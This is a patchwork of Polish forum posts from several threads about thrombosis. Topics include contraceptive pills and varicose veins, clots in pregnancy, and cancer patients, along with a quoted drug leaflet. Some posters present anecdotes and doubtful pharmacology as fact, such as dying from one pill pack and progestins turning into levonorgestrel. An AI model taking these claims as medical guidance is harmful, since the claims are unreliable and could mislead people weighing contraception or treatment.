pisza jedynie czarne scenariusze...

dziekuje za posty
bardzo dziekuje za posty
i pozdrawiam

aduska napisała:

> Niesamowicie uogólniasz. U jednej osoby zylaki sie zaczna, u innej - jeśli
> przerwie w odpowiednim momencie - nie. Gdybym nie brała Diane35 pewnie byłoby
o
>
> wiele lepiej niz teraz. Jeśli nie masz żadnych innych objawów to zmień
pigułki
> na słabsze. Ja tez kiedys panikowałam, a teraz wiem, że żylaki to nie koniec
> świata

Witam.
Tez mam problem z zylami. Diane 35 bralam z przerwami prawie 10 lat, zycie bylo
piekne, miesiaczki nie bolaly, o tradziku zapomnialam, a z czasem
antykoncepcyjnie tez sie zaczela przydawac. Skore zawsze mialam plytko
unaczyniona,wiec sie specjalnie nie przejmowalam, ze jestem cala w niebiesko-
zielone szlaczki, do czasu az nie zaczelo sie uczucie ciezkich nog i lekki bol
od czasu do czasu. Moj ginekolog, do ktorego mam bezgraniczne zaufanie,
stwierdzil, ze 20% kobiet wogole nie toleruje pigulek antykoncepcyjnych i
wlasnie zaczelam sie do tej grupy zaliczac. Okazuje sie bowiem, ze wszystkie
pigulki powoduja w mniejszym lub wiekszym stopniu takie powiklania, a jezeli
sie ma predyspozycje do zylakow, trzeba pigulki odstawic w trybie
natychmiastowym. Ryzyko zwiazane z kontynuacja przyjmowania hormonow jest po
prostu zbyt duze. Nawet u mlodej osoby moze doprowadzic do zakrzepicy.
Wystarczy przez pare godzin posiedziec bez ruchu, na przyklad w samolocie, i
przy odrobinie pecha udar mozgu albo zator pluc gotowy. To jest oczywiscie
wersja pesymistyczna, ale mysle, ze nie warto ryzykowac zdrowia i zycia. W
kazdym razie zdaniem mojego lekarza takich eksperymentow przeprowadzac nie
nalezy. A ja w rzultacie musialam sie przywyczaic doprezerwatyw i kosmetykow
matujacych .
Pozdrawiam serdecznie i zycze zdrowia
Monika

To może Ty trochę więcej poczytaj, odwiedź zachodnie fora i serwisy, odwiedź
polskie strony o antykoncepcji, wczytaj się w raport o zakrzepicy, dane
statystyczne, przyjrzyj się też historii pigułki (Kościoła w to nie musisz
mieszać - to całkiem inna sprawa). Nati85 pisze całkiem rozsądnie. Owszem,
teoretycznie pigułki można brać przez całe życie... ale jakie są i będą tego
konsekwencje, tego tak naprawdę nie wiadomo (wbrew temu, co głoszą firmy
farmaceutyczne).

Faktem jest, że im dłużej się je stosuje, tym ryzyko wielu chorób wzrasta (tym
bardziej po 35 r.ż, przy paleniu papierosów), a jedynie niektórych spada (też
takie są - z tego, co pamiętam - mniejsze ryzyko raka jelita grubego i ciąży
pozamacicznej).

Można przypuszczać, że założycielka tego wątku środki antykoncepcyjne stosować
będzie chciała jeszcze długo - więc może na dzień dzisiejszy skuteczniejsza
będzie prezerwatywa i globulka plus obserwacja cyklu (ta ostatnia przyda się
nie w celu antykoncepcyjnym, co generalnie dla niej samej - dobrze znać swój
organizm).

Zanim podejmie się decyzję o stosowaniu pigułki - trzeba znać dobrze wszystkie
za i przeciw. Wyważyć "co się bardziej opłaca" - zabezpieczenie przed
niechcianą ciążą i wygoda czy zdrowie. Wiele jest kobiet, które w ogóle nie
odczuwają stosowania pigułki i nic im nie jest w trakcie zażywania i po
odstawieniu. Ale wiele też musi znosić (pomijając już te najgroźniejsze
choroby - a tu j proponuję Ci poczytanie np. o Minulecie i procesach, który
miał producent tych pigułek, a także rozmowę z onkologiem - przy stosowaniu
pigułek profilaktycznie powinno się co pół roku robić usg piersi, bo przy
estrogenach rak rozwija się jak na drożdzach) inne skutki uboczne - od wzrostu
prolaktyny, przez spadek libido, wieksze ryzyko wystapienia grzybicy, po
depresję. Pigułki mają wiele plusów, ale ryzyko też niosą. Trzeba się
zastanowić. I tyle.

Żylaki i pigułki - do justy?
Pytanie o żylaki i pigułki już się pojawiało na tym forum, ale jednak nikt
nie dał jednoznacznej odpowiedzi. Dlatego też pytam jeszcze raz, tym razem
kieruję pytanie przede wszystkim do justy (jesteś lekarką lub inaczej
związana z medycyną?), bo widzę, że ona zna się na rzeczy (ale inne
dziewczyny niech również odpowiadają jeśli znają się na rzeczy).

Na nogach mam widoczne żyły, nogi raczej mi nie puchną (jak już tylko w upał
i to było może raz lub dwa w tym roku) i nie bolą. Moja mama i dziadkowie
mają żylaki i to bardzo zaawansowane (dziadek łącznie z otwartymi ranami, a
mama będzie miała niedługo operację - mamie pojawiły się po ciąży). Babcia
miała zator płuc w wieku okolo 60-62 lat (nie wiem czy to ma znaczenie ale
miała nadciśnienie i brała leki odwadniające i na serce, miała też 2 zawały
serca - drugi śmiertelny).
Czy mimo tego opisu mogę brać pigułki? Brałam Microgynon i Mercilon (zmiana
lekarza = zmiana pigułek, mimo dobrej tolerancji poprzednich), ale odstawiłam
bo zaczęłam się bać zakrzepicy i pojawienia dużych żylaków (w czasie brania
pigułek żyły trochę bardziej się uwidoczniły i trochę częściej bolała mnie
głowa, poza tym było ok).
Tak więc co myślicie? Czy niepotrzebnie spanikowałam? I mogę wrócić znowu do
pigułek? I jeśli mogę je nadal brać to, które byłyby bezpieczniejsze?
Microgynon czy Mercilon (obie równie dobrze tolerowałam)? W poniedziałek chcę
iść do mojej starej ginekolog i chciałabym wiedzieć, które pigułki
ewentualnie jej zasugerować (oczywiście nic na siłę, bo to ona powinna mi je
dobrać, ale chciałabym wiedzieć, które byłyby w moim wypadku bezpieczniejsze).

Justy i dziewczyny, pomóżcie mi proszę!

Aha, dodam jeszcze, że moja obecna ginekolog (prywatna, więc właśnie ze wzgl.
na koszty z niej rezygnuję) nie widzi jakiś większych przeciwskazań i
twierdzi, że mogę co najwyżej łyknąc raz w tygodniu pół Acardu i pić dużo
płynów... Ale ja się mimo wszystko waham nad powrotem... A zależy mi na
bardzo pewnej antykoncepcji...

Jeżeli nie zrobiło się wcześniej żadnych badań, jeżeli ma się zaburzenia układu
krzepnięcia (i się o tym nie wie, bo jest się przekonanym za sprawą naszych
super ginekologów polskich, że jedynym skutkiem ubocznym łykania codziennej
dawki sztucznych hormonów będzie lekki przyrost wagi) np. w postaci
trombofilii, albo w innej łagodniejszej postaci, to - wierz mi - można umrzeć
od 1 opakowania takiej bomby hormonalnej, jaką jest Cilest. Ale można też
wyhodować sobie uleczalną zakrzepicę - aby przez pół roku (minimum) łykać
acenokumarol i cieszyć się rozkoszą podawanej w brzuch (2 razy dziennie)
heparyny. Można wyhodować żylaki (zauważyłam, chodząc ulicami, że to bardzo
modne teraz u kobiet poniżej 30-tego roku życia). Można sobie spaskudzić życie.
Dlatego tabletki (szczególnie takie hybrydy jak Cilest, albo tabletki anty- III
generacji, takie jak np. Harmonet, Logest) zawsze muszą być bardzo przemyślaną,
rozsądną decyzją, pod kontrolą ginekologa, który zleca wszystkie możliwe (w
naszych warunkach :) badania, przeprowadza wywiad, podchodzi do sprawy
poważnie, to znaczy jak lekarz, a nie jak przedstawiciel handlowy danego
koncernu farmaceutycznego.
Osobiście zetknęłam się z kilkunastoma osobami, które ponoszą do dziś bardzo
poważne konsekwencje łykania pigułek (w tym 23-letnia, wcześniej zupełnie
zdrowa, dziewczyna, po zakrzepicy popigułkowej i zatorze płuc, z którego ledwo
uszła z życiem. Tabletki łykała przez 21 dni.)

Gość portalu: melmire napisał(a):

> Myslisz ze naprawde mozna skonac po skonsumowaniu jednego opakowanie Cilestu?

Wiem to z całą pewnością. Wiem też, że beztroskie łykanie pigułek może skończyć
się np. paraliżem.
I nie mogę przeboleć faktu, że tak wielu ginekologów w Polsce wydaje recepty na
pigułki III generacji bez zlecenia jakichkolwiek badań, bez przeprowadzenia
wywiadu, bez późniejszego kontrolowania pacjentek, którym zapisali Logesty czy
Cilesty.
Pigułki anty- , tak jak kiedyś dynamit, miały słuzyć dobru ludzi... Kończy się,
jak widać, inaczej.
Nie twierdzę w ten sposób, że tabletki anty to jakieś zło. Bo wiele kobiet łyka
regularnie latami i ma się dobrze.
Nie popieram handlowania pigułkami na forum Gazety. Dla mnie to wygląda tak,
jakby jakiś IP-Wacek chciał tu sprzedawać morfinę, bo mu została po babci i
kulturalnie zaznaczał, że maja zgłaszać się MAILOWO tylko uczciwi w ostatniej
fazie nowotworu... :/

Ziarnica złośliwa- węzły chłonne, teraz przerzuty na oba płuca i na
domiar złego zakrzepica.

Przyczyną umieralności z powodu nowotworów
są przede wszystkim oczywiście onkolodzy.

Jeszcze parę słów na temat poruszony w Twoim poście.
Rozumiem rozgoryczenie, rozumiem żałobę, ale pisanie różnych bzdur, jakie
napisałaś i wplątywanie w to "obojętności lekarzy" jest lekkim nieporozumieniem.
Jeślibym miał włączyć u pacjenta z drobnokomórkowym rakiem płuca wszystkie leki
zapobiegające problemom, które MOGĄ się przydarzyć, to po ich zażyciu pacjent by
się jeszcze prędzej posypał: np. ketokonazol na grzybicę, cefalosporyny na
zakażenie bakteryjne, heparynę na zakrzepicę, a to przecież nie jedyne MOŻLIWE
problemy.

Medycyna nie jest nauką ścisłą i w zasadzie nigdy 2+2 nie jest równe 4. Tutaj
podejmując jakiekolwiek postępowanie powinno się wziąć pod uwagę BILANS korzyści
i strat dla pacjenta. Profilaktyka jest dobra - ale wcześniej, nie w
zaawansowanym stadium nowotworu. I nie myślę o lekach, ale stylu życia i
unikaniu ryzykownych zachowań.

Co do medycyny paliatywnej, to pracowałem w tej działce przez 3 lata, które
zresztą procentują do tej chwili. 80% rodzin było zadowolonych i wdzięcznych za
pomoc w trudnym czasie odchodzenia ich bliskich, ale 20% nie godziło się z
faktem umierania - ci zwykle "wykańczali" bliskich niepotrzebną terapią dając w
łapę ordynatorom chemioterapii COŚ, co pozwalało mieć wrażenie, że się walczy.
Rozumiem bliskich, ale dywagacje, czy pacjentowi z zaawansowanym rakiem jelita
grubego lepiej przedłużyć życie włączając antybiotyk zapobiegający zapaleniu
płuc, żeby potem zmarł z powodu niedrożności wymiotując kałem, jest nie na miejscu.

Idź na studia medyczne, nigdy nie jest za późno i wtedy dopiero osądzaj co jest
etyczne, a co nie.
Dla części moich pacjentów etyczne jest to, co jest dla nich korzystne - oni nie
wahają się poradzić, żebym w kolejce przesunął kogoś starszego, komu już nie
trzeba tyle życia...

Proszę pomóżcie
Witajcie! Postanowiłam tu napisać ponieważnie wiem gdzie szukać juz
pomocy i liczę że może coś podpowiecie. Mój wujek miesiąc temu
dowiedział się ze ma raka płuc z przerzutami na oskrzela. Podobno
trwa juz to od października ale lekarzą dopiero teraz udało się
ustalić co to jest. moim zdaniem to już za późno. Ale to ie ważne w
tym momencie. Dodam że wujek kilkanaście lat temu miał przeszczep
nerki i cały czas bierze leki na podtrzymanie. Ma rwnież zakrzepice.
Lekarze u nioego w mieście powiedzieli że są bezradni bo chemia i
opercja nie wchodzi w grę. On z dnia na dzień orbi się coraz
słabszy. klinika MSWiA odesłała go do Centrum Onkologii na Ursynowie
do lekarza Dariusza M. Kowalskiego po czym on stwierdził że w
mieście wujka jest dobre hospicjum i ze on nie widz dla niego
ratunku. Zgrozo nie zlecił nawet badań tylko opierał się na
badaniach zrobionych w innym mieście. Jak można takie rzeczy mówić
przy pacjencie który jest juz wystarczająco złamany. J anie chce
wierzyć ze nie ma dla niego ratunku. Musi być! W gre wchodzą nawet
drogie leki sprowadzane z zagranicy byle tylko jakiś lekarz podjął
się pomocy. Chociaz spróbował. Dzisiaj udało się zpaisac na
konsultacje do Profesora Tadeusza Orłowskiego na Plockiej w
Warszawie. Czy miał któś z Was kontakt z tym lekarzem?? Czy mozemy
mieć nadzieję że ten profesor pomoże nam.Nie mozemy przeciez
zostawic czlowieka aby siedział w domu i czekała na śmierć. Dodam iż
wogóle nie podjeto zadnego leczenia od diagnozy nawet nie był
hospitalizowany. Musimy szukać gdzies ratunku i znaleźć nadzieje.
Wujek jest taki młody. Proszę moze wiecie gdzie sie udać.

już po szpitalu
Witam po bardzo długiej przerwie! Godzinę mi zajęło przeczytanie zaległości!
Witam dwie nowe czerwcóweczki!

Postaram się jak najkrócej co u mnie nowego: od poniedziałku do piątku leżałam
w Akademii na obserwacji z cukrzycą. Przed posiłkami mam 80-90, po posiłkach
120-130kilka. Strasznie Ci zazdroszczę Cruk Twoich wyników! Ja muszę jeść
malutko, delikatnie, ale za to często. Glukometr odpalam z 10 razy dzienni.
Ciśnienie mam cały czas w okolicy 140/90 mimo, że zwiększyli mi dwukrotnie
dawkę leku. Dodatkowo wykryli ma anemię (jem tabletki z żelazem) i coś co się
nazywa Zespół Metaboliczny: w każdym momencie płód może (ale nie musi) przestać
rosnąć i przybierać na wadze – od razu poród. Także USG co 2 tygodnie w celach
kontrolnych. Mój gin powiedział, że nie mam chyba tylko jeszcze nadczynności
tarczycy (przypominam, że mam jeszcze zakrzepicę). Także jest niefajnie.
Cieszcie się dziewczyny, że wasze ciąże są w miarę bezstresowe. Nie wiem, czy
zdecydujemy się w przyszłości na kolejną dzidzię

Cruk – z tą babcią całkowicie cię rozumiem. Moja mama od kilku miesięcy ma
dodatkowego lokatora w postaci swojej teściowej (czyli mojej babci). Wypisz
wymaluj jest jak Twoja babcia! Moja mama jest na granicy obłędu! A wózki
Emaliunga składają pod Gdańskiem – w Skarszewach. Znajomi kupowali i zapłacili
coś z 700 zł taniej (plus gratis parasolka, moskitiera i folia p/deszczowa).
Może jakbyś była w tej okolicy (albo jakiś znajomy) to warto skorzystać ze
sklepu firmowego.

Muszelka – dziś byłam na spacerze z koleżanką i jej 3-miesięcznym bączkiem
właśnie Jędrochem. Takim 2 w 1. Prowadziłam go sobie i jest super – sam jedzie!
Leciutki, przekładana rączka, same plusy. Koleżanka jest bardzo zadowolona z
firmy, ale odradza taki 2 w 1. Mówi, że przy kolejnym kupi gondolę i
spacerówkę. Jest dużo szarpania z tym całym wkładem. Poza tym w czerwcu nasze
maluszki padłyby z gorąca w tym czymś. A w gondolce to sobie mogą leżeć pod
cienkim przykryciem, albo bez.

Moja dzidzia kopie jak szalona i już byliśmy z nią na pierwszych zajęciach w
szkole rodzenia - było super!

Obiecuję częściej zaglądać i nie dołować was moim humorem i tak długimi postami.

P.S. W szpitalu rozjechałam się na mokrej podłodze i strasznie boli mnie
pachwina. Jak temu można zaradzić?

Odradzam dr Gondka z Barskiej!!! przez jego zaniedbanie dostałam zakrzepice i
zator płuc.Cudem przezyłam leząc miesiac w szpitalu

Dziękuję bardzo za odpowiedź! Pocieszył mnie Pan. Jeszcze w tą sobotę pójdę
zrobić układ krzepnięcia i pewnie zacznę to Novynette...
Bałam się w szczególności tego, że babcia miała zakrzepicę i nawet zator płuc...

Dziękuę!

zakrzepica w ciąży
Piszę trochę po pocieszenie, trochę bo się boję, a najbardziej, aby
Wasze odpowiedzi zanieść mojej przyjaciółce.

Bo to o nią chodzi. Jest w ciąży, kończy 7-miesiąc. Do tej pory
czuła się dobrze, miała zalecenie oszczędnego życia, bo kosmówka nie
rozwarstwiała się dobrze... Ale w ubiegłym tygodniu, obudził ją rano
potworny ból nogi, która była spuchnięta i cała aż fioletowa.
Diagnoza straszna - zakrzepica żył głębokich nogi (nie znam się na
tym, więc mogę coś w terminach medycznych pokręcić, przepraszam),
był to stan bezpośredniego zagrożenia życia jej i dziecka, bo
lekarze bali się, że zaatakuje płuca. Leży w szpitalu w małym
mieście, mieli ją transtportować do lepszego ośrodka, ale lekarze
twierdzą, że nie nadaje się do transportu. Boją się, że te zakrzepy
oderwą się, tak?
Z dzieckiem w porządku, ona na m.in. heparynie w kroplówce, ale nie
pomaga, mają przejść na zastrzyki w brzuch (to ten clexane, o którym
piszecie?)

Ja tam siedzę u niej ile tylko mogę przy małym dziecku w domu i chce
mi się płakać, ona tak strasznie boi się o swoje dziecko. Takie
wyczekane...

Zaczęłam przeglądać internet i przeraziłam się jeszcze bardziej.
Pierwszy artykuł, który znalazłam zaczyna się od: "zakrzepica jest
najczęstszą przyczyną śmierci ciężarnych". Nie chcę, nie mogę szukać
więcej.

Dziewczyny, ja wiem, że wśród Was są takie, które chorują na
trombofilię, które przeszły zakrzepicę, wszyściutko tu już
przeczytałam i wydrukowałam. Ale napiszcie proszę o swoich
dzieciach, zdrowych dzieciach, mimo tej strasznej choroby.

palenie nie obniża, ale wzmaga ryzyko zakrzepicy
poza tym - nie chcesz mieć ładnej cery, świeżego oddechu, czystych płuc i
więcej pieniędzy w portfelu?
nie?
a, to pal dalej

Tego ze ktos jest glupi, bo chodzi do psychiatry to nigdy nie powiedzialam i nie
powiem. Wrecz przeciwnie uwazam to za wyraz rozsadku, ze majac problemy idzie do
odpowiedniego lekarza.
Jesli piszesz, ze lekarz zapewnil Cie, ze te akurat leki nie wchodza w reakcje z
pigulkami, to wierze Ci na slowo. Jednak wiekszosc lekow przeciwdepresyjnych w
reakcje wchodzi i stad moje oburzenie. Sporo kobiet "zapomina" poinformowac
lekarza, ze bierze pigulki, a potem twierdza, ze pigulki sa nieskuteczne, bo one
zaszly w ciaze.
Czy ulotki sa az tak skomplikowane? Moim zdaniem nie. Zawsze wydawalo mi sie, ze
pomijajac nazwy chemiczne, sa napisane jezykiem dosc latwym. W podstawowce w
kazdym razie bylam juz w stanie pojac, co jest tam napisane. No i wierze, ze
przekazuja wszystkie informacje, ktore jako pacjent powinnam znac. W razie
watpliwosci zawsze mozna sie dopytac lekarza czy farmaceuty.

Co do pewnosci zabezpieczen, to moge (teoretycznie) wybrac sterylizacje moja lub
partnera. Rownie teoretycznie moge zdecydowac sie na aborcje (i jest to zdanie
wylacznie teoretyczne, nie majace w zaden sposob zwiazku z moja sklonnoscia do
podjecia takiej decyzji. Przypominam tylko, ze takie rozwiazanie tez istnieje.)

Zazwyczaj oczekuje od lekarza pelnego opisu proponowanego leku. Jesli lekarz nie
uprzedzi mnie o jakis znanych i dosc czestych skutkach ubocznych i na podstawie
niepelnych informacji podejme niewlasciwa decyzje to bede miala do niego zal.
Jesli zas mnie uprzedzi, a ja mimo tego zdecyduje sie na dane leczenie, to w
razie choroby nie bede szukala winnych.
Jesli chodzi o pigulki w moim przypadku rachunek zyskow i strat wychodzi
zdecydowanie na plus. Mam bardzo niskie cisnienie, kobiece raki w rodzinie sie
nie trafialy, zakrzepica rowniez, mialam potworny tradzik, a teraz wciaz
sklonnosci do niego, a do tego niewiarygodnie bolesne miesiaczki. Juz samo
ograniczenie ilosci lekow przeciwbolowych branych w ciagu miesiaca celem
spowodowania, ze bol bedzie znosny, jest w moim przypadku niezwykle duzym
zyskiem. Wszystkie leki przeciwbolowe, szczegolnie brane w duzych dawkach i
czesto, maja bardzo duzo bardzo powaznych skutkow ubocznych. Teraz podczas @
czasem biore jedna tabletke. Zazwyczaj w ogole nie potrzebuje i moge normalnie
funkcjonowac. Wczesniej bralam przez trzy-cztery dni maxymalne dozwolone dawki i
czesto nie bylam w stanie wstac z lozka. Do tego jeszcze dochodzi odstawienie
wiekszosci lekow przeciwko tradzikowi. Watroba jest mi za to naprawde wdzieczna.
Rownolegle pilnuje, zeby ewentualne szkody wychwycic odpowiednio wczesnie. Co
roku komplet badan krwi, co miesiac samokontrola. Po recepty na pigulki chodze
do gina, wiec z tymi badaniami tez jestem na biezaco.

Iga, szczerze mówiąc, to wydaje mi się, że koniecznie jak
najszybciej powinnaś sie skontaktowac z lekarzem i obgadac te
problemy Taty.

Na raku żołądka się nie znam (moja mam miała raka trzustki), ale
może choc trochę Ci się przyda to co napiszę.

Co do kolizji róznych specyfików z chemią, to zapytaj lekarza - to
zależy w duzym stopniu od tego, co konkretnie zostało zastosowane.

U mojej mamy problemy z jedzeniem i nudności związane z samą
chemioterapią pojawiały się juz w połowie samej chemii (w przypadku
tych kilkudniowych) i po chemii, potem się stopniowo polepszało. Byc
może przy raka żoładka jest inaczej.

Nutridrinki nie zaostrzają apetytu, one po prostu są bardzo
odżywcze - duzo potrzebnych składników w małej objętości (chyba 3
szt. dziennie moga zastapić jedzenie na jakiś czas). Ale są
mamałygowate i wielu chorym po prostu nie smakują (dla mnie też są
paskudne).

Jeśli chodzi o samo białko to jest taka odżywka w proszku bezsmakowa
zupelnie, mozna ją dodawać do picia i do jedzenia. Plus jest taki,
że to proszek naprawde bezsmakowy i mozna go dodawac praktycznie do
wszystkiego -i na zimno i do gotowania. Nazywa się Protifar - ale to
tylko pod kontrolą lekarza, bo to jest samo bialko - zapytaj lekarza
czy w przypadku taty byłoby wskazane uzupelnianie nim diety, bo może
wrecz przeciwnie (zreszta to tylko na receptę chyba).

Na apetyt są specyfiki, ale tak naprawde te skuteczne maja skutki
uboczne np. ryzyko zakrzepicy, więc wielu lekarzy bardzo ostroznie
podchodzi do ich stosowania. Poza tym np. Megalia daje efekty
dopiero po dłuższym stosowaniu (nawet 2 miesiące).

Pozdrawiam serdecznie
zielony_listek

u mojej mamy obrzek nóg był objawem zakrzepicy a scislej zatoru
płuc, po wdrożeniu zastrzyków przeciwzakrzepowych powoli opuchlizna
zeszła z nog i potem z brzucha

dzięki za info

hmm, skutki uboczne nie są wcale gorsze niż po zwykłej chemii

Bewacyzumab
Działanie: Rekombinowane, humanizowane przeciwciało monoklonalne
wytwarzane z zastosowaniem rekombinacji DNA w komórkach jajnika
chomika chińskiego. Wiąże się z czynnikami wzrostu naczyń
śródbłonka, hamując ich wiązanie z receptorami Flt-1 i KDR na
powierzchni komórek śródbłonka. Zmniejszenie ich aktywności
zmniejsza unaczynienie nowotworów litych, co prowadzi do hamowania
ich wzrostu. Lek wykazuje działanie przeciwnowotworowe względem
wielu nowotworów (m.in. raka okrężnicy, raka sutka,
niedrobnokomórkowego raka płuca, raka nerki, a także trzustki i
gruczołu krokowego). Podczas stosowania leku w dawkach
terapeutycznych farmakokinetyka jest liniowa. Metabolizm jest
podobny jak w przypadku innych IgG. t1/2a wynosi ok. 1,4 dnia,
t1/2b - ok. 20 dni.

Działanie niepożądane: Najczęściej występują: nadciśnienie tętnicze,
zmęczenie, osłabienie, biegunka, ból brzucha. Najczęstszymi ciężkimi
działaniami niepożądanymi są perforacje żołądkowo-jelitowe, krwotoki
(w tym płucne/krwioplucie) i zakrzepica zatorowa tętnic. Ponadto
bardzo często występują: leukopenia, obwodowa neuropatia czuciowa,
krwotoki z odbytu, zaparcie, zapalenie jamy ustnej, anoreksja,
zaburzenia widzenia i smaku, duszność, krwawienie z nosa, nieżyt
nosa, złuszczające zapalenie skóry, zmiany barwy i suchość skóry,
gorączka, nudności, wymioty; często występują: posocznica, ropień,
zakażenie, zmniejszona liczba neutrofili, gorączka neutropeniczna,
niedokrwistość, małopłytkowość, odwodnienie, niedokrwienie mózgu,
omdlenie, senność, ból głowy, powikłania w gojeniu się ran,
białkomocz, zastoinowa niewydolność serca, tachykardia nadkomorowa,
zakrzepica żył głębokich, duszność, niedotlenienie, niedrożność
jelita/jelit, zaburzenia żołądkowo-jelitowe, osłabienie mięśni,
białkomocz, zakażenia dróg moczowych. Rzadko zespół odwracalnej
tylnej leukoencefalopatii. Po wprowadzeniu do obrotu stwierdzano
perforacje przegrody nosowej oraz nadciśnienie płucne. U chorych w
podeszłym wieku stwierdzono większe ryzyko wystąpienia tętniczej
zakrzepicy zatorowej (w tym incydenty naczyniowo-mózgowe,
przemijające napady niedokrwienne mózgu, zawał serca), leukopenii
stopnia 3. i 4., neutropenii, biegunki i zmęczenia. Stosowanie leku
może być związane z występowaniem ciężkich przetok, prowadzących
niekiedy do zgonu. Szczegółowe informacje dotyczące działań
niepożądanych - patrz zarejestrowane materiały producenta. W
przypadku przedawkowania (20 mg/kg mc.) obserwowano występowanie
ciężkich napadów migreny.

cytat z ulotki znaleziony w necie
Pigułka antykoncepcyjna i zakrzepica
Zakrzepica polega na powstawaniu skrzepliny krwi, która może zamykać naczynie
krwionośne.
Zakrzepica występuje czasem w głębokich żyłach kończyn dolnych (zakrzepica żył
kończyn dolnych). W przypadku oderwania się fragmentu zakrzepu z miejsca, w
którym powstaje, może dojść do zablokowania tętnic w płucach i tzw. zatorowości
płucnej. Zakrzepica żył głębokich występuje rzadko; dochodzi do niej nawet
wówczas, gdy nie stosuje się preparatu, np. w czasie ciąży. Ryzyko zakrzepicy
jest większe u kobiet stosujących preparaty hormonalne niż u pozostałych, ale
nie tak duże jak w okresie ciąży.
Zakrzepy mogą również, choć bardzo rzadko, wystąpić w naczyniach krwionośnych
serca (powodując zawał serca) lub mózgu (powodując udar). Wyjątkowo rzadko
występują w wątrobie, jelicie, nerce lub oku.
Sporadycznie, zakrzepica może spowodować inwalidztwo lub zgon.
Ryzyko wystąpienia zawału serca lub udaru zwiększa się z wiekiem oraz jeżeli
pali Pani papierosy. W czasie stosowania pigułki antykoncepcyjnej nie powinna
Pani palić, szczególnie jeśli ma Pani powyżej 35 lat.
Jeśli w czasie przyjmowania pigułki antykoncepcyjnej zwiększy się u Pani
ciśnienie tętnicze krwi, lekarz może zalecić odstawienie leku.
Ryzyko wystąpienia zakrzepicy żył głębokich zwiększa się w czasie zabiegu
chirurgicznego lub w przypadku długotrwałego unieruchomienia (np. jeżeli Pani
noga jest w gipsie lub na szynie). U kobiet stosujących tabletki hormonalne
ryzyko to może być większe. W przypadku planowanego leczenia szpitalnego lub
operacji powinna Pani poinformować lekarza o przyjmowaniu pigułki
antykoncepcyjnej. Lekarz może zalecić odstawienie tabletek na kilka tygodni
przed zabiegiem lub w okresie unieruchomienia i decyduje również o tym, kiedy
może Pani ponownie rozpocząć przyjmowanie pigułki antykoncepcyjnej po powrocie
do zdrowia.
Jeśli zauważy Pani objawy sugerujące zakrzepicę, należy przerwać przyjmowanie
tabletek i skonsultować się natychmiast z lekarzem (patrz również "Kiedy powinna
Pani skontaktować się ze swoim lekarzem").

bad_habit napisała:

> z zakrzepicą???i zatorami w płucach???bo takie 2 artykuły też znalazłam...

eeee... yyyy
palenie zabija?

Ja kilka lat temu po 10 dniach brania tabletek miałam zakrzepice żył
głebokich, a co doprowadziło do zatoru płuc. Powinno o tym się
więcej mówić a nie tylko reklamować tabletki plastry i inne.

IV gen.:Yasmin i Jeanine (drospirenon i dienogest)
Witam,
Pewnie już ten temat był poruszany ale ja go chciałam "podrążyć" jeszcze -
dlatego założyłam osobny wątek. Bardzo liczę tu na wypowiedzi specjalistów
(jeśli są tacy na forum) oraz na informacje od Waszych ginekologów - jeśli
się zdecydujecie zapytać. Ja właśnie mam zamiar popytać.

Chodzi mi o preparaty zawierające hormony IV generacji - Yasmin (drospirenon)
i Jeanine (dienogest). Zapytajcie (a może wiecie) o następujące kwestie:

1. Bardzo wysokie dawki składnika progestagennego - 3mg (w Yasmin) i 2mg w
Jeanine. Producenci argumentują to krótkim czasem półtrwania hormonów w
organizmie - ok 9h a tym samym brakiem kumulacji hormonów w organizmie.
Mój znajomy farmaceutajednak, że to nie do końca prawda bo i jeden i drugi
hormon dość szybko w żołądku jest rozkładany do odmiany alfa czy beta-):
lewonogestrelu (a więc IV gen oparta jest na II gen) a dla tego czas trwania
to ok 15-17h. Czyli podobnie jak w przypadku innych tabletek. I jednak jest
kumulacja i przy tak wysokim stężeniu niekorzystne działanie na organizm.

2. Moczopędność Yasmin - te przypadki zgodnów w których była mowa w programie
wyemitowanym w Holandii dotyczyły podobno tego, że Yasmin ma działanie lekko
odwadniające a odwodnienie sprzyja zagęszczaniu krwi i w rezultacie
powstawaniu zakrzepow. Dlatego tez Yasmine jest bardziej niebezpieczna niz
inne pigulki. Śmierć w wymienionych przypadkach powodowana była przez
zakrzepy albo jako ich nastepstwo zatory pluc i udary mozgu. Ale:

Znalazłam informację, że tak być nie może, bo pigułka zawiera one
spironolakton. A on NIE powoduje odwodnienia! Zapobiega on powstawaniu
obrzęków rozumianych jako nadmiar wody oraz usuwa już istniejące. Wyrównuje
także gospodarkę sodowo-potasową organizmu. Spironolakton nie odwadnia w taki
sposób jak furosemid, który usuwa wodę z organizmu - po nim można mieć
suchość skóry, trudności w oddychaniu i słabe ciśnienie. Cała tajemnica
Yasmin to to, że spironolakton, że nie powoduje, jak inne tabletki problemów
z przyswajaniem potasu - i dlatego nie powoduje obrzęków.

Jednak w ulotce Yasmin nie wygląda na to, aby zawierała ona spirolakton
(chyba, że to inna nazwa którejś z wymienionych substancji pomocniczych). A
kolejna rzecz to taka, że znajoma lekarka powiedziała mi, że spirolakton ma
jednak działanie moczopędne - jest bezpieczniejszy inne tego typu substancje
ale jednak ma działanie odwadniające.

Nie wiem czy wiecie, ale w zagranicznej ulotce od Yasmin jest napisane, że
nie wolno razem z nią używać bez konsultacji z lekarzem następujących leków
zwiększających wydalanie potasu:
— NSAID, czyli niesterydowe preparaty przeciwzapalne i przeciwbólowe, np.
zawierające ibuprofen (Ibuprom, Advil, Nurifen, itp.), naproxen (Naproxen,
Aleve, i inne), stosowane w leczeniu artretyzmu i innych chorób lub stanów
— antagoniści aldosteronu - zmniejszajace wydalanie potasu (spironolakton i
inne)
— dietetyczne napoje preparaty mineralne zawierające potas
— inhibitory ACE (konwertazy angiotensyny)
— antagoniści receptora angiotensyny II (Cozaar, Diovan, Avapro i inne)
— heparyna

Dlaczego tego nie ma w polskiej ulotce? A po drugie to podobno te przypadki
smierci spowodowane były tym, że kobiety nie stosowały się do tych zaleceń i
przyjmowały inne leki, które powodowały odwodnienie i nasilały ryzyko
zakrzepicy.

Czy ktoś coś więcej wie na ten temat albo może podrążyć kwestię tego, czy
Yasmin zawiera spirolakton czy nie?

3. Jeanine - dienogest. Ten hormon na szczęście nie niesie ze sobą efektu
odwadniającego ale też należy do tych IV generacji, które "naprawdę bądź nie"
tak szybko wydalają się z organizmu. Zapytajcie lekarzy, czy rzeczywiście tak
jest (mój znajomy farmaceuta tak jak w przypadku Yasmin - twierdzi, że one
się przekształcają w lewonorgestrel i kumulują tak samo jak on - tylko dawka
jesy 10 razy większa).

Będę wdzięczna za info - sama też mam zamiar poszperać.

o ile jest lepiej...
...tego do konca lekarze nie mowia...ale ja swoje wiem , a Oni boja sie
